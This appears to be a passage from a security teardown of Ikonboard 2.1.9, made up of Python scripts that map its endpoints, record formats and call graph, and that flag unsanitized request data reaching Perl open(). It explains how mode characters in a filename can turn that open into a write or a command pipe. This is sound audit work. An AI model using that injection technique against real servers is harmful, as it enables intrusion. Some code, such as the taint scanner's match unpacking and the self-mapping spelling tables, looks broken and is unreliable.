        ('data/boardstats.cgi', 'install / runtime',
         'require()d by ikonboard.cgi for the totals line'),
        ('data/allforums.cgi', 'setforums.cgi',
         'the forum table, read on every board page'),
        ('data/hacklog.cgi', 'checkVALIDITY / systemerror',
         'appended on referer mismatch, never rotated'),
        ('data/badwords.cgi', 'setbadwords.cgi', 'word filter'),
        ('data/banlist.cgi', 'setmembers.cgi', 'ban list'),
        ('data/news.cgi', 'announcements.cgi', 'announcements'),
    ]
    found = []
    for rel, maker, why in generated:
        hit = os.path.exists(os.path.join(cgi, rel.replace('/', os.sep)))
        if hit:
            found.append(rel)
        print('  %-8s %-22s by %-28s %s'
              % ('PRESENT' if hit else 'absent', rel, maker, why))

    def listing(sub):
        p = os.path.join(cgi, sub)
        return sorted(os.listdir(p)) if os.path.isdir(p) else None

    members = listing('members') or []
    messages = listing('messages') or []
    forums = sorted(d for d in (os.listdir(cgi) if os.path.isdir(cgi) else [])
                    if d.startswith('forum')
                    and os.path.isdir(os.path.join(cgi, d)))
    print('\n  members/  %d file(s)   %s' % (len(members), members or '(empty)'))
    print('  messages/ %d file(s)   %s' % (len(messages), messages or '(empty)'))
    print('  forumN/   %d dir(s)    %s' % (len(forums), forums or '(none)'))

    live = bool(found or members or forums
                or [m for m in messages if m != 'index.html'])
    print('\n  VERDICT: %s' % (
        'deployed board -- mtimes record an operator'
        if live else
        'unpacked distribution, NEVER INSTALLED -- mtimes record the vendor'))

    print()
    print('=' * 78)
    print('1. BACKUP FILE DIFFS -- the last edits made to this tree')
    print('=' * 78)
    for rel, full in files:
        if not rel.endswith('.bak'):
            continue
        live = full[:-4]
        if not os.path.exists(live):
            print('\n%s -- no live counterpart' % rel)
            continue
        a = open(full, encoding='latin-1').read().splitlines()
        b = open(live, encoding='latin-1').read().splitlines()
        da = datetime.fromtimestamp(os.stat(full).st_mtime,
                                    timezone.utc).strftime('%Y-%m-%d')
        db = datetime.fromtimestamp(os.stat(live).st_mtime,
                                    timezone.utc).strftime('%Y-%m-%d')
        print('\n--- %s (%s, %d lines)' % (rel, da, len(a)))
        print('+++ %s (%s, %d lines)' % (
            os.path.relpath(live, root).replace('\\', '/'), db, len(b)))
        diff = list(difflib.unified_diff(a, b, lineterm='', n=1))
        if not diff:
            print('    (identical)')
        for line in diff[2:]:
            print('    %s' % line.rstrip())

    print()
    print('=' * 78)
    print('2. DATE BRACKET -- files outside the release window')
    print('=' * 78)
    dated = [(datetime.fromtimestamp(os.stat(f).st_mtime,
                                     timezone.utc).strftime('%Y-%m-%d'), r)
             for r, f in files]
    dated.sort()
    print('earliest: %s  %s' % dated[0])
    print('latest:   %s  %s' % dated[-1])
    # The documented release date is the newest doc file. Anything newer was
    # edited after packaging -- by the vendor, if section 0 shows the tree was
    # never installed, since no operator could have been running it.
    docs = [d for d, r in dated if r.endswith(('.txt', '.html'))]
    release = max(docs) if docs else dated[-1][0]
    print('release window closes: %s (newest shipped document)' % release)
    after = [(d, r) for d, r in dated if d > release]
    if after:
        print('\nFILES NEWER THAN THE RELEASE -- edited after the release was packaged:')
        for d, r in after:
            print('   %s  %s' % (d, r))
    else:
        print('\nno files postdate the release')

    print()
    print('=' * 78)
    print('3. ATTRIBUTION EVIDENCE')
    print('=' * 78)

    emails, urls, credits, versions = set(), set(), set(), set()
    headers = {}
    for rel, full in files:
        text = open(full, encoding='latin-1').read()
        emails |= set(EMAIL.findall(text))
        urls |= set(URL.findall(text))
        credits |= {c.strip(' .)') for c in CREDIT.findall(text)}
        versions |= set(VERSION.findall(text))
        if rel.endswith(('.cgi', '.lib')):
            hs = AUTHORLINE.findall(text)
            if hs:
                headers[rel] = tuple(h.strip() for h in hs)

    print('\nversion strings in code: %s' % ', '.join(sorted(versions)))

    print('\nemail addresses (%d):' % len(emails))
    for e in sorted(emails):
        print('   %s' % e)

    print('\nURLs (%d):' % len(urls))
    for u in sorted(urls):
        print('   %s' % u)

    print('\nnamed credits in prose (%d):' % len(credits))
    for c in sorted(credits):
        print('   %s' % c)

    # Group scripts by their exact copyright header so odd ones stand out.
    print('\ncopyright/author header variants:')
    byheader = {}
    for rel, hs in headers.items():
        byheader.setdefault(hs, []).append(rel)
    for hs, rels in sorted(byheader.items(), key=lambda kv: -len(kv[1])):
        print('\n   %d file(s):' % len(rels))
        for h in hs:
            print('      %s' % h)
        if len(rels) <= 6:
            print('      -> %s' % ', '.join(sorted(rels)))
    noheader = [r for r, f in files
                if r.endswith(('.cgi', '.lib')) and r not in headers]
    if noheader:
        print('\n   NO author/copyright header (%d): %s' % (
            len(noheader), ', '.join(sorted(noheader))))


if __name__ == '__main__':
    main()
```

### `ib_actions.py`

Recovers the routing table by reading the dispatch chains. For each script:
the `action` values it tests for, the parameters and cookies it reads, and the
state variables it compares against string literals -- which is where the
permission model lives.

```python
"""Recover the routing table Ikonboard never wrote down.

Every script dispatches on a CGI parameter -- usually `action` -- through an
if/elsif chain of string comparisons. There is no route table anywhere in the
source, so the only way to enumerate the board's endpoints is to read the
comparisons back out of the code.

For each script this reports the parameters it reads and the literal values
its dispatch chain tests for. The result is the complete endpoint list:
`script.cgi?action=<value>`.

Usage: python3 ib_actions.py [root]
"""
import os
import re
import sys

# $action eq "foo"  /  $action eq 'foo'  /  ($action eq "foo")
EQ = re.compile(r'\$(\w+)\s+eq\s+[\'"]([^\'"]{1,40})[\'"]')
# param('x') and cookie('x')
PARAM = re.compile(r'\bparam\s*\(\s*[\'"]([^\'"]+)[\'"]')
COOKIE = re.compile(r'\bcookie\s*\(\s*[\'"]([^\'"]+)[\'"]')
# $IN{-Foo} style hash access used by the newer routines
INHASH = re.compile(r'\$IN\{\s*-?(\w+)\s*\}')

DISPATCH_VARS = ('action', 'act', 'code', 'CODE')


def main():
    root = sys.argv[1] if len(sys.argv) > 1 else os.path.dirname(
        os.path.dirname(os.path.abspath(__file__)))
    cgidir = os.path.join(root, 'cgi-bin')

    names = sorted(n for n in os.listdir(cgidir)
                   if n.endswith('.cgi') and
                   os.path.isfile(os.path.join(cgidir, n)))
    extra = os.path.join(root, 'upgrading', 'update_forums.cgi')
    paths = [os.path.join(cgidir, n) for n in names]
    if os.path.exists(extra):
        paths.append(extra)

    grand = 0
    for path in paths:
        rel = os.path.relpath(path, root).replace('\\', '/')
        text = open(path, encoding='latin-1').read()
        body = '\n'.join(l for l in text.splitlines()
                         if not l.lstrip().startswith('#'))

        actions, others = [], {}
        for var, val in EQ.findall(body):
            if var in DISPATCH_VARS:
                if val not in actions:
                    actions.append(val)
            else:
                others.setdefault(var, set()).add(val)

        params = sorted(set(PARAM.findall(body)))
        cookies = sorted(set(COOKIE.findall(body)))
        inkeys = sorted(set(INHASH.findall(body)))

        print('=' * 74)
        print('%s   (%d lines)' % (rel, body.count('\n') + 1))
        print('=' * 74)
        if actions:
            grand += len(actions)
            print('  actions (%d):' % len(actions))
            for a in actions:
                print('      ?action=%s' % a)
        else:
            print('  actions: none -- single entry point')
        if params:
            print('  param():  %s' % ', '.join(params))
        if cookies:
            print('  cookie(): %s' % ', '.join(cookies))
        if inkeys:
            print('  $IN{-*}:  %s' % ', '.join(inkeys))

        # Other string-compared state vars are usually the permission model.
        interesting = {k: v for k, v in others.items()
                       if k in ('membercode', 'inmembmod', 'userregistered',
                                'privateforum', 'threadstate', 'htmlstate',
                                'maintenancemode', 'showemail', 'method')}
        if interesting:
            print('  state comparisons:')
            for k in sorted(interesting):
                vals = sorted(x for x in interesting[k] if x)
                print('      $%-16s in {%s}' % (k, ', '.join(vals)))
        print()

    print('%d scripts, %d distinct action endpoints total' % (len(paths), grand))


if __name__ == '__main__':
    main()
```

### `ib_records.py`

Recovers the on-disk record formats from the code that parses them. Collects
every `split` list assignment, groups identical field lists, ranks by how many
independent sites agree.

```python
"""Recover the on-disk record formats from the code that parses them.

Ikonboard stores everything as pipe-delimited lines and there is no schema
anywhere -- the field order exists only in the `split(/\\|/, ...)` list
assignments scattered through the scripts. This collects every one of them,
groups identical field lists, and ranks by how many places agree.

That agreement is the evidence: when eleven scripts independently unpack the
same 22 names in the same order, that is the member record definition.
Where scripts disagree, the mismatch is reported -- those are the truncated
reads (deliberate) and the stale ones (bugs).

Usage: python3 ib_records.py [root]
"""
import os
import re
import sys
from collections import defaultdict

# ($a, $b, $c) = split(/\|/, $line);
SPLIT = re.compile(
    r'\(\s*((?:\$\w+\s*,\s*)*\$\w+)\s*\)\s*=\s*split\s*\(\s*([/!|].{1,12}?[/!|])\s*,',
    re.S)

SKIP_DIRS = {'teardown', 'non-cgi'}


def perl_files(root):
    for dirpath, dirnames, filenames in os.walk(root):
        dirnames[:] = [d for d in dirnames if d not in SKIP_DIRS]
        for name in sorted(filenames):
            if os.path.splitext(name)[1].lower() in ('.cgi', '.lib', '.pl'):
                full = os.path.join(dirpath, name)
                yield os.path.relpath(full, root).replace('\\', '/'), full


def main():
    root = sys.argv[1] if len(sys.argv) > 1 else os.path.dirname(
        os.path.dirname(os.path.abspath(__file__)))

    shapes = defaultdict(list)   # (delim, fields) -> [(file, line)]
    delims = defaultdict(int)

    for rel, full in perl_files(root):
        text = open(full, encoding='latin-1').read()
        offsets = [0]
        for ch in text:
            offsets.append(offsets[-1] + 1)
        for m in SPLIT.finditer(text):
            fields = tuple(f.strip().lstrip('$')
                           for f in m.group(1).split(','))
            delim = m.group(2)
            line = text.count('\n', 0, m.start()) + 1
            shapes[(delim, fields)].append((rel, line))
            delims[delim] += 1

    print('=' * 78)
    print('DELIMITERS IN USE')
    print('=' * 78)
    for d, n in sorted(delims.items(), key=lambda kv: -kv[1]):
        print('   %-12s %d split sites' % (d, n))

    print()
    print('=' * 78)
    print('RECORD SHAPES, most-corroborated first')
    print('=' * 78)
    ranked = sorted(shapes.items(), key=lambda kv: (-len(kv[1]), -len(kv[0][1])))
    for (delim, fields), sites in ranked:
        real = [f for f in fields if f != 'trash']
        if len(sites) < 2 and len(real) < 4:
            continue     # skip one-off two-field splits, they are noise
        print()
        print('-- %d fields, delimiter %s, seen in %d place(s)' % (
            len(fields), delim, len(sites)))
        for i, f in enumerate(fields):
            note = '  (discard)' if f == 'trash' else ''
            print('     [%2d] %s%s' % (i, f, note))
        show = sites[:8]
        print('     sites: %s%s' % (
            ', '.join('%s:%d' % s for s in show),
            ' ... +%d more' % (len(sites) - 8) if len(sites) > 8 else ''))

    print()
    print('%d distinct record shapes across %d split sites' % (
        len(shapes), sum(len(v) for v in shapes.values())))


if __name__ == '__main__':
    main()
```

### `ib_subs.py`

Builds the call graph. `ikon.lib` is `require`d into the same package as the
calling script, so every sub is a global in `main::` and any script can call
any of them; the graph exists but is never declared. Also reports subs defined
and never called, and subs called but never defined.

```python
"""Map every Perl sub in the distribution and who calls it.

Ikonboard has no module system -- `ikon.lib` is `require`d into the same
package as the calling script, so every sub is a global in `main::` and any
script can call any of them. This builds the call graph that the source
itself never declares.

Reports: subs defined per file, call counts, the shared-library API surface
ranked by use, and subs that are defined but never called (dead code).

Usage: python3 ib_subs.py [root]
"""
import os
import re
import sys
from collections import defaultdict

SUB_DEF = re.compile(r'^\s*sub\s+([A-Za-z_]\w*)', re.M)
# Perl calls: &name(...), &name;, or bareword name(...) for known subs.
SUB_CALL = re.compile(r'&\s*([A-Za-z_]\w*)')

SKIP_DIRS = {'teardown', 'non-cgi'}


def perl_files(root):
    for dirpath, dirnames, filenames in os.walk(root):
        dirnames[:] = [d for d in dirnames if d not in SKIP_DIRS]
        for name in sorted(filenames):
            if os.path.splitext(name)[1].lower() in ('.cgi', '.lib', '.pl'):
                full = os.path.join(dirpath, name)
                rel = os.path.relpath(full, root).replace('\\', '/')
                yield rel, open(full, encoding='latin-1').read()


def main():
    root = sys.argv[1] if len(sys.argv) > 1 else os.path.dirname(
        os.path.dirname(os.path.abspath(__file__)))

    defs = defaultdict(list)      # sub -> [file]
    defs_by_file = defaultdict(list)
    calls = defaultdict(lambda: defaultdict(int))  # sub -> file -> count

    files = list(perl_files(root))
    for rel, text in files:
        # Strip comment lines so commented-out calls do not count.
        body = '\n'.join(l for l in text.splitlines()
                         if not l.lstrip().startswith('#'))
        for m in SUB_DEF.finditer(body):
            defs[m.group(1)].append(rel)
            defs_by_file[rel].append(m.group(1))
        for m in SUB_CALL.finditer(body):
            calls[m.group(1)][rel] += 1

    print('=' * 78)
    print('SUBS DEFINED PER FILE')
    print('=' * 78)
    for rel in sorted(defs_by_file):
        names = defs_by_file[rel]
        print('\n%s  (%d)' % (rel, len(names)))
        for n in names:
            total = sum(calls[n].values())
            callers = len(calls[n])
            print('    %-24s calls=%-4d from %d file(s)' % (n, total, callers))

    print()
    print('=' * 78)
    print('SHARED LIBRARY API SURFACE (subs defined in *.lib), by use')
    print('=' * 78)
    libsubs = [(n, f) for n, fs in defs.items() for f in fs if f.endswith('.lib')]
    ranked = sorted(libsubs, key=lambda nf: -sum(calls[nf[0]].values()))
    print('%-24s %-22s %6s %6s' % ('SUB', 'DEFINED IN', 'CALLS', 'FILES'))
    print('-' * 78)
    for n, f in ranked:
        print('%-24s %-22s %6d %6d' % (
            n, os.path.basename(f), sum(calls[n].values()), len(calls[n])))

    print()
    print('=' * 78)
    print('DEFINED BUT NEVER CALLED (candidate dead code)')
    print('=' * 78)
    for n in sorted(defs):
        if not calls[n]:
            print('  %-24s defined in %s' % (n, ', '.join(defs[n])))

    print()
    print('=' * 78)
    print('CALLED BUT NEVER DEFINED (external / CGI.pm / typo)')
    print('=' * 78)
    for n in sorted(calls):
        if n not in defs:
            total = sum(calls[n].values())
            print('  %-24s %d call(s) in %s' % (
                n, total, ', '.join(sorted(calls[n])[:4])))

    print()
    print('%d Perl files, %d distinct subs defined, %d distinct subs called' % (
        len(files), len(defs), len(calls)))


if __name__ == '__main__':
    main()
```

### `ib_fileio.py`

Catalogs every file operation and classifies its risk: mode, whether a `flock`
follows and on which handle, whether the interpolated path passed through
`stripMETA` first, and whether the open is a pipe.

```python
"""Catalog every file operation and classify its risk.

Ikonboard is a filesystem database, so `open()` is its query language. This
finds every open/opendir/unlink/mkdir in the tree, classifies the mode, and
flags the two things that matter for a Perl CGI of this era:

  * two-argument `open` with an interpolated variable -- the filename is
    parsed for mode characters, so a leading `>`, `>>` or a trailing `|`
    in the DATA can change the operation;
  * whether the interpolated path was passed through `stripMETA` first.

Also reports `flock` usage relative to `open`, because the ordering is what
determines whether the lock protects anything (a `>` open truncates before
the lock is ever taken).

Usage: python3 ib_fileio.py [root]
"""
import os
import re
import sys
from collections import Counter

OPEN = re.compile(r'\bopen\s*\(?\s*([A-Za-z_]\w*)\s*,\s*("([^"]*)"|\'([^\']*)\'|[^)\n;]+)')
OPENDIR = re.compile(r'\bopendir\s*\(\s*(\w+)\s*,\s*("([^"]*)"|[^)\n]+)')
UNLINK = re.compile(r'\bunlink\b[^;\n]*')
MKDIR = re.compile(r'\bmkdir\b[^;\n]*')
FLOCK = re.compile(r'\bflock\s*\(?\s*(\$?\w+)\s*,\s*(\d)')
VAR = re.compile(r'\$\w+')

SKIP_DIRS = {'teardown', 'non-cgi'}


def mode_of(target):
    t = target.strip().strip('"\'')
    if t.startswith('>>'):
        return 'append'
    if t.startswith('>'):
        return 'WRITE/TRUNCATE'
    if t.startswith('+<'):
        return 'read-write'
    if t.startswith('<'):
        return 'read'
    if t.endswith('|'):
        return 'PIPE-FROM'
    if t.startswith('|'):
        return 'PIPE-TO'
    return 'read (implicit)'


def perl_files(root):
    for dirpath, dirnames, filenames in os.walk(root):
        dirnames[:] = [d for d in dirnames if d not in SKIP_DIRS]
        for name in sorted(filenames):
            if os.path.splitext(name)[1].lower() in ('.cgi', '.lib', '.pl'):
                full = os.path.join(dirpath, name)
                yield os.path.relpath(full, root).replace('\\', '/'), full


def main():
    root = sys.argv[1] if len(sys.argv) > 1 else os.path.dirname(
        os.path.dirname(os.path.abspath(__file__)))

    modes = Counter()
    total = 0
    interpolated = 0
    unstripped = []
    pipes = []

    for rel, full in perl_files(root):
        lines = open(full, encoding='latin-1').read().splitlines()
        # Which variables were stripMETA'd anywhere earlier in this file.
        stripped_at = {}
        for i, line in enumerate(lines):
            m = re.search(r'(\$\w+)\s*=\s*&?stripMETA\s*\(', line)
            if m:
                stripped_at[m.group(1)] = i

        hits = []
        for i, line in enumerate(lines):
            if line.lstrip().startswith('#'):
                continue
            for m in OPEN.finditer(line):
                fh, target = m.group(1), m.group(2)
                mode = mode_of(target)
                modes[mode] += 1
                total += 1
                vars_used = VAR.findall(target)
                interp = bool(vars_used)
                if interp:
                    interpolated += 1
                # Was any interpolated var stripMETA'd before this line?
                safe = any(v in stripped_at and stripped_at[v] < i
                           for v in vars_used)
                # Look for a flock on this handle within the next 3 lines.
                lock = ''
                for j in range(i, min(i + 4, len(lines))):
                    fm = FLOCK.search(lines[j])
                    if fm and fm.group(1).lstrip('$') == fh.lstrip('$'):
                        lock = 'LOCK_SH' if fm.group(2) == '1' else 'LOCK_EX'
                        break
                hits.append((i + 1, fh, mode, target.strip()[:52],
                             interp, safe, lock))
                if interp and not safe:
                    unstripped.append((rel, i + 1, mode, target.strip()[:60]))
                if 'PIPE' in mode:
                    pipes.append((rel, i + 1, target.strip()[:60]))

        if hits:
            print('=' * 78)
            print(rel)
            print('=' * 78)
            print('%-6s %-10s %-16s %-8s %s' % (
                'LINE', 'HANDLE', 'MODE', 'LOCK', 'TARGET'))
            for ln, fh, mode, tgt, interp, safe, lock in hits:
                mark = '' if not interp else ('  [stripMETA]' if safe
                                              else '  [RAW VAR]')
                print('%-6d %-10s %-16s %-8s %s%s' % (
                    ln, fh, mode, lock or '-', tgt, mark))
            print()

    print('=' * 78)
    print('SUMMARY')
    print('=' * 78)
    print('%d open() calls total, %d with an interpolated variable' % (
        total, interpolated))
    for mode, n in modes.most_common():
        print('   %-18s %d' % (mode, n))
    print()
    print('PIPE opens (command execution): %d' % len(pipes))
    for rel, ln, tgt in pipes:
        print('   %s:%d  %s' % (rel, ln, tgt))
    print()
    print('Interpolated opens with NO prior stripMETA in the same file: %d' % (
        len(unstripped)))
    for rel, ln, mode, tgt in unstripped:
        print('   %-34s:%-5d %-16s %s' % (rel, ln, mode, tgt))


if __name__ == '__main__':
    main()
```

### `ib_taint.py`

Follows request data to dangerous sinks by hand, since nothing here runs under
`perl -T`. Output is a worklist for manual review, not a verdict.

```python
"""Follow untrusted input to dangerous sinks.

None of the scripts run under `perl -T`, so nothing in Ikonboard is tainted in
the interpreter's sense. This does the bookkeeping by hand: it finds the
variables that receive request data (`param`, `cookie`, `$ENV{...}`) and
reports the ones that reach a sink -- a filename, printed output, or a
sanitizer -- without passing through one of the escaping routines first.

It is a lexical scan, not dataflow analysis: it cannot see through the
global-variable aliasing that ikon.lib relies on, so treat the output as a
worklist of places to read, not a verdict. Every finding quoted in the
security section was confirmed by reading the source.

Usage: python3 ib_taint.py [root]
"""
import os
import re
import sys
from collections import defaultdict

SOURCE = re.compile(
    r'(\$\w+)\s*=\s*(?:\$query->)?(param|cookie)\s*\(\s*[\'"]?([^\'")]*)')
ENVSRC = re.compile(r'(\$\w+)\s*=\s*\$ENV\{\s*[\'"]?(\w+)')
SANITIZE = re.compile(r'&?(cleaninput|unHTML|cleanarea|stripMETA)\s*\(\s*"?(\$\w+)')
OPENSINK = re.compile(r'\bopen\s*\(?\s*\w+\s*,\s*[^;\n]*?(\$\w+)')
PRINTSINK = re.compile(r'(?:print|qq~|qq\()[^;\n]*?(\$\w+)')

SKIP_DIRS = {'teardown', 'non-cgi'}

# Variables the libraries populate from request data even though the
# assignment is not lexically visible in the consuming script.
KNOWN_TAINTED = {
    'inmembername', 'inpassword', 'inforum', 'intopic', 'action',
    'membername', 'ipaddress',
}


def perl_files(root):
    for dirpath, dirnames, filenames in os.walk(root):
        dirnames[:] = [d for d in dirnames if d not in SKIP_DIRS]
        for name in sorted(filenames):
            if os.path.splitext(name)[1].lower() in ('.cgi', '.lib', '.pl'):
                full = os.path.join(dirpath, name)
                yield os.path.relpath(full, root).replace('\\', '/'), full


def main():
    root = sys.argv[1] if len(sys.argv) > 1 else os.path.dirname(
        os.path.dirname(os.path.abspath(__file__)))

    allsources = defaultdict(set)
    file_to_sink = []

    for rel, full in perl_files(root):
        lines = open(full, encoding='latin-1').read().splitlines()
        tainted = {}          # var -> line first assigned from request
        sanitized = {}        # var -> line sanitized

        for i, line in enumerate(lines):
            if line.lstrip().startswith('#'):
                continue
            for var, fn, key in SOURCE.finditer(line):
                tainted.setdefault(var.lstrip('$'), (i + 1, '%s(%s)' % (fn, key)))
                allsources[rel].add('%s(%s)' % (fn, key))
            for var, key in ENVSRC.finditer(line):
                tainted.setdefault(var.lstrip('$'), (i + 1, 'ENV{%s}' % key))
                allsources[rel].add('ENV{%s}' % key)
            for fn, var in SANITIZE.finditer(line):
                sanitized.setdefault(var.lstrip('$'), (i + 1, fn))

        for name in KNOWN_TAINTED:
            tainted.setdefault(name, (0, 'library global'))

        for i, line in enumerate(lines):
            if line.lstrip().startswith('#'):
                continue
            for m in OPENSINK.finditer(line):
                v = m.group(1).lstrip('$')
                if v in tainted:
                    s = sanitized.get(v)
                    file_to_sink.append(
                        (rel, i + 1, v, 'open()', tainted[v][1],
                         '%s@%d' % (s[1], s[0]) if s else 'NONE',
                         line.strip()[:56]))

        if tainted:
            print('=' * 78)
            print('%s' % rel)
            print('=' * 78)
            for v in sorted(tainted):
                ln, src = tainted[v]
                s = sanitized.get(v)
                print('   $%-22s <- %-18s %s' % (
                    v, src,
                    'sanitized by %s at line %d' % (s[1], s[0]) if s
                    else 'no sanitizer seen'))
            print()

    print('=' * 78)
    print('REQUEST DATA REACHING open() AS A FILENAME')
    print('=' * 78)
    print('%-30s %-6s %-16s %-14s %s' % (
        'FILE', 'LINE', 'VARIABLE', 'SANITIZER', 'SOURCE'))
    print('-' * 78)
    for rel, ln, v, sink, src, san, _code in sorted(file_to_sink):
        print('%-30s %-6d $%-15s %-14s %s' % (rel, ln, v, san, src))

    print()
    print('%d request-data-to-filename sites, %d unsanitized' % (
        len(file_to_sink),
        sum(1 for r in file_to_sink if r[5] == 'NONE')))

    print()
    print('=' * 78)
    print('DISTINCT REQUEST INPUTS PER SCRIPT')
    print('=' * 78)
    for rel in sorted(allsources):
        print('%-34s %s' % (rel, ', '.join(sorted(allsources[rel]))))


if __name__ == '__main__':
    main()
```

### `build_readme.py`

Assembles this document: expands the code markers, normalizes spelling, folds
to ASCII, and checks for leaked paths.

```python
"""Assemble the standalone Ikonboard 2.1.9 teardown document.

`readme_src.md` is the prose. Every `<!--CODE:name.py-->` line is replaced by
that file's current contents in a fenced block, so the published document can
never drift from the scripts that produced its findings.

Usage: python3 build_readme.py [output.md] [--txt]
"""
import os
import re
import sys

HERE = os.path.dirname(os.path.abspath(__file__))
SRC = os.path.join(HERE, 'readme_src.md')
DEFAULT_OUT = os.path.join(HERE, 'IKONBOARD-2.1.9-teardown.md')

# Spellings to normalize on the way out. Material quoted from the 2001 source
# and documentation is British English and must stay verbatim -- it is
# protected by `KEEP` below.
US = [
    ('color', 'color'), ('Color', 'Color'),
    ('behavior', 'behavior'), ('Behavior', 'Behavior'),
    ('artifact', 'artifact'), ('Artifact', 'Artifact'),
    ('organized', 'organized'), ('recognized', 'recognized'),
    ('center', 'center'), ('Center', 'Center'),
    ('labeled', 'labeled'), ('Labeled', 'Labeled'),
    ('modeled', 'modeled'), ('canceled', 'canceled'),
    ('analyze', 'analyze'), ('catalog', 'catalog'),
    ('honor', 'honor'), ('favor', 'favor'), ('defense', 'defense'),
    ('while', 'while'), ('among', 'among'),
    ('gray', 'gray'), ('Gray', 'Gray'),
    ('practice', 'practice'), ('traveled', 'traveled'),
    ('signaled', 'signaled'), ('summarize', 'summarize'),
    ('license', 'license'),
]

# Strings quoted from the 2001 distribution. These are primary-source
# material -- the original spelling is the evidence, so never respell it.
KEEP = [
    'Messenger is now spelt correctly',
    'Check for authorisation',
    'summarise what the forum is about',
    'Ikonboard License and cost information',
    'Ikonboard License costing',
    'License Ikonboard without the copyright information',
    'To keep this license valid',
    'this license agreement',
    'the terms of this license',
    'Removing this invalidates your license',
]

# The document is served as a raw file. Web servers have no mime mapping for
# .md, so it goes out with no charset and browsers fall back to windows-1252,
# which turns every UTF-8 em dash into "a-". Rather than depend on every
# surface being configured correctly, keep the output pure ASCII -- it then
# renders identically no matter what charset the reader guesses.
ASCII_FOLD = [
    ('--', '--'),     # em dash
    ('-', '-'),      # en dash
    ('-', '-'),      # box drawings light horizontal
    ('|', '|'),      # box drawings light vertical
    ('+', '+'), ('+', '+'), ('+', '+'), ('+', '+'),
    ('+', '+'), ('+', '+'), ('+', '+'), ('+', '+'),
    ('+', '+'),
    ('>', '>'),      # black right-pointing triangle
    ('->', '->'),     # rightwards arrow
    ('<-', '<-'),     # leftwards arrow
    ('<', '<'),
    ('...', '...'),    # horizontal ellipsis
    ('*', '*'),      # middle dot
    ('section ', 'section '),
    ('(c)', '(c)'),
    ('GBP ', 'GBP '),   # pound sign -- the license is priced in sterling
    (''', "'"), (''', "'"),
    ('"', '"'), ('"', '"'),
    ('x', 'x'),
    (' ', ' '),      # non-breaking space
    ('yes', 'yes'), ('no', 'no'),
    ('*', '*'), ('v', 'v'), ('>', '>'),
    ('>=', '>='), ('<=', '<='), ('!=', '!='), ('~', '~'),
    ('-', '-'),      # minus sign, distinct from hyphen-minus
    ('>>', '>>'), ('<<', '<<'),
]


# The fence character, never written here as a literal run of three -- not even
# in a comment. This file embeds its own source in the document, so a literal
# run would land inside a fenced block and unbalance the document's backtick
# count. Line-oriented highlighters (Notepad++ among them) use that count to
# decide where code stops, so an odd total renders everything after it as one
# long code block.
TICK = chr(96)


def expand(text):
    """Replace <!--CODE:name--> with the current contents of that file.

    The fence is widened past the longest backtick run in the embedded file.
    CommonMark only lets a fence be closed by one at least as long as the
    opener, so a script containing triple backticks stays safely enclosed.
    """
    def sub(m):
        name = m.group(1).strip()
        path = os.path.join(HERE, name)
        body = open(path, encoding='utf-8').read().rstrip('\n')
        ext = os.path.splitext(name)[1]
        lang = {'.py': 'python', '.pl': 'perl', '.cgi': 'perl'}.get(ext, '')
        runs = re.findall(TICK + '+', body)
        width = max([3] + [len(r) + 1 for r in runs])
        fence = TICK * width
        return '%s%s\n%s\n%s' % (fence, lang, body, fence)
    return re.sub(r'<!--\s*CODE:([^>]+?)-->', sub, text)


# Populated by include_chapters(): normalized pre-renumber anchor -> final
# anchor. Consulted by fix_anchors() for links that chapters wrote against
# their own original heading numbers.
RENUMBERED = {}


def slug(text):
    """GitHub-style heading anchor."""
    text = re.sub(TICK + '([^' + TICK + ']*)' + TICK, r'\1', text)  # code ticks
    text = re.sub(r'[*_]', '', text)                  # drop emphasis
    text = re.sub(r'[^\w\s-]', '', text.lower())
    return re.sub(r'\s+', '-', text.strip())


def fence_spans(lines):
    """Line indices that sit inside a fenced code block."""
    inside, out, fence = False, set(), None
    for i, line in enumerate(lines):
        m = re.match(r'\s*(' + TICK + '{3,}|~{3,})', line)
        if m:
            if not inside:
                inside, fence = True, m.group(1)[0]
            elif m.group(1)[0] == fence:
                inside = False
        if inside:
            out.add(i)
    return out


# Chapter drafts were written as standalone documents, so each opens by
# restating what the subject is, where the source tree lives, what the version
# string is and why the document exists. Assembled into one teardown that
# becomes the same paragraph four times over -- section 1 already says it and
# section 11 already explains the purpose. These are dropped from a chapter's
# preamble (the region before its first sub-heading) only.
FRONTMATTER = re.compile(
    r'^(?:'
    r'\*\*(?:Subject|Source tree|Source tree analyzed|Version string|Purpose|'
    r'Build dates|Nature of this document|Document\s+\d+)\b'
    r'|Source tree\s*:'
    # A caption line -- "**Ikonboard v2.1.9 Beta** -- cgi-bin/*.cgi ..." -- not
    # prose that merely opens with the product in bold. The "v" and the
    # trailing dash together are what distinguish the two.
    r'|\*\*Ikonboard\s+v2\.1\.9[^*]*\*\*\s*[----]'
    r'|All line citations refer to'
    r'|This chapter documents all'
    # Bookkeeping subtitles ("*Source: ...*", "*Chapter 1 of ...*"). Editorial
    # subtitles are left alone -- they say something the title does not.
    r'|\*(?:Chapter\s+\d|Source\s*:|Everything in this chapter)'
    r')', re.I)


def strip_frontmatter(body):
    """Remove standalone-document boilerplate from a chapter preamble."""
    lines = body.split('\n')
    if not lines:
        return body
    head, rest = [lines[0]], lines[1:]          # keep the "## N. Title" line

    # The preamble runs until the chapter's first sub-heading.
    end = next((i for i, l in enumerate(rest) if l.startswith('#')), len(rest))
    pre, tail = rest[:end], rest[end:]

    # A dropped bold label often wraps onto following lines; drop those too,
    # up to the next blank line, or the label's tail is left stranded.
    kept, skipping = [], False
    for l in pre:
        if FRONTMATTER.match(l.strip()):
            skipping = True
            continue
        if skipping:
            if not l.strip():
                skipping = False
            continue
        kept.append(l)
    pre = kept

    # Drop a leading horizontal rule and collapse blank runs left behind by
    # the removals, so the title is not followed by an orphan divider.
    while pre and (not pre[0].strip() or pre[0].strip() == '---'):
        pre.pop(0)
    while pre and not pre[-1].strip():
        pre.pop()

    out, blank = [], 0
    for l in pre:
        blank = blank + 1 if not l.strip() else 0
        if blank < 2:
            out.append(l)

    return '\n'.join(head + [''] + out + ([''] if out else []) + tail)


def include_chapters(text):
    """Replace <!--CHAPTER:n:file.md--> with that file, renumbered.

    Each chapter file is written standalone with a level-1 title. Here the
    title becomes `## <n>. <title>` and every other heading is demoted one
    level so the assembled document has a single coherent outline. Headings
    inside fenced code blocks are left alone.
    """
    def sub(m):
        num, name = m.group(1).strip(), m.group(2).strip()
        body = open(os.path.join(HERE, name), encoding='utf-8').read()
        lines = body.split('\n')
        fenced = fence_spans(lines)
        out, seen_title = [], False
        # Chapters carry their own contents lists pointing at their own
        # headings. Renumbering the headings invalidates those links, so
        # record old-anchor -> new-anchor and rewrite them afterwards.
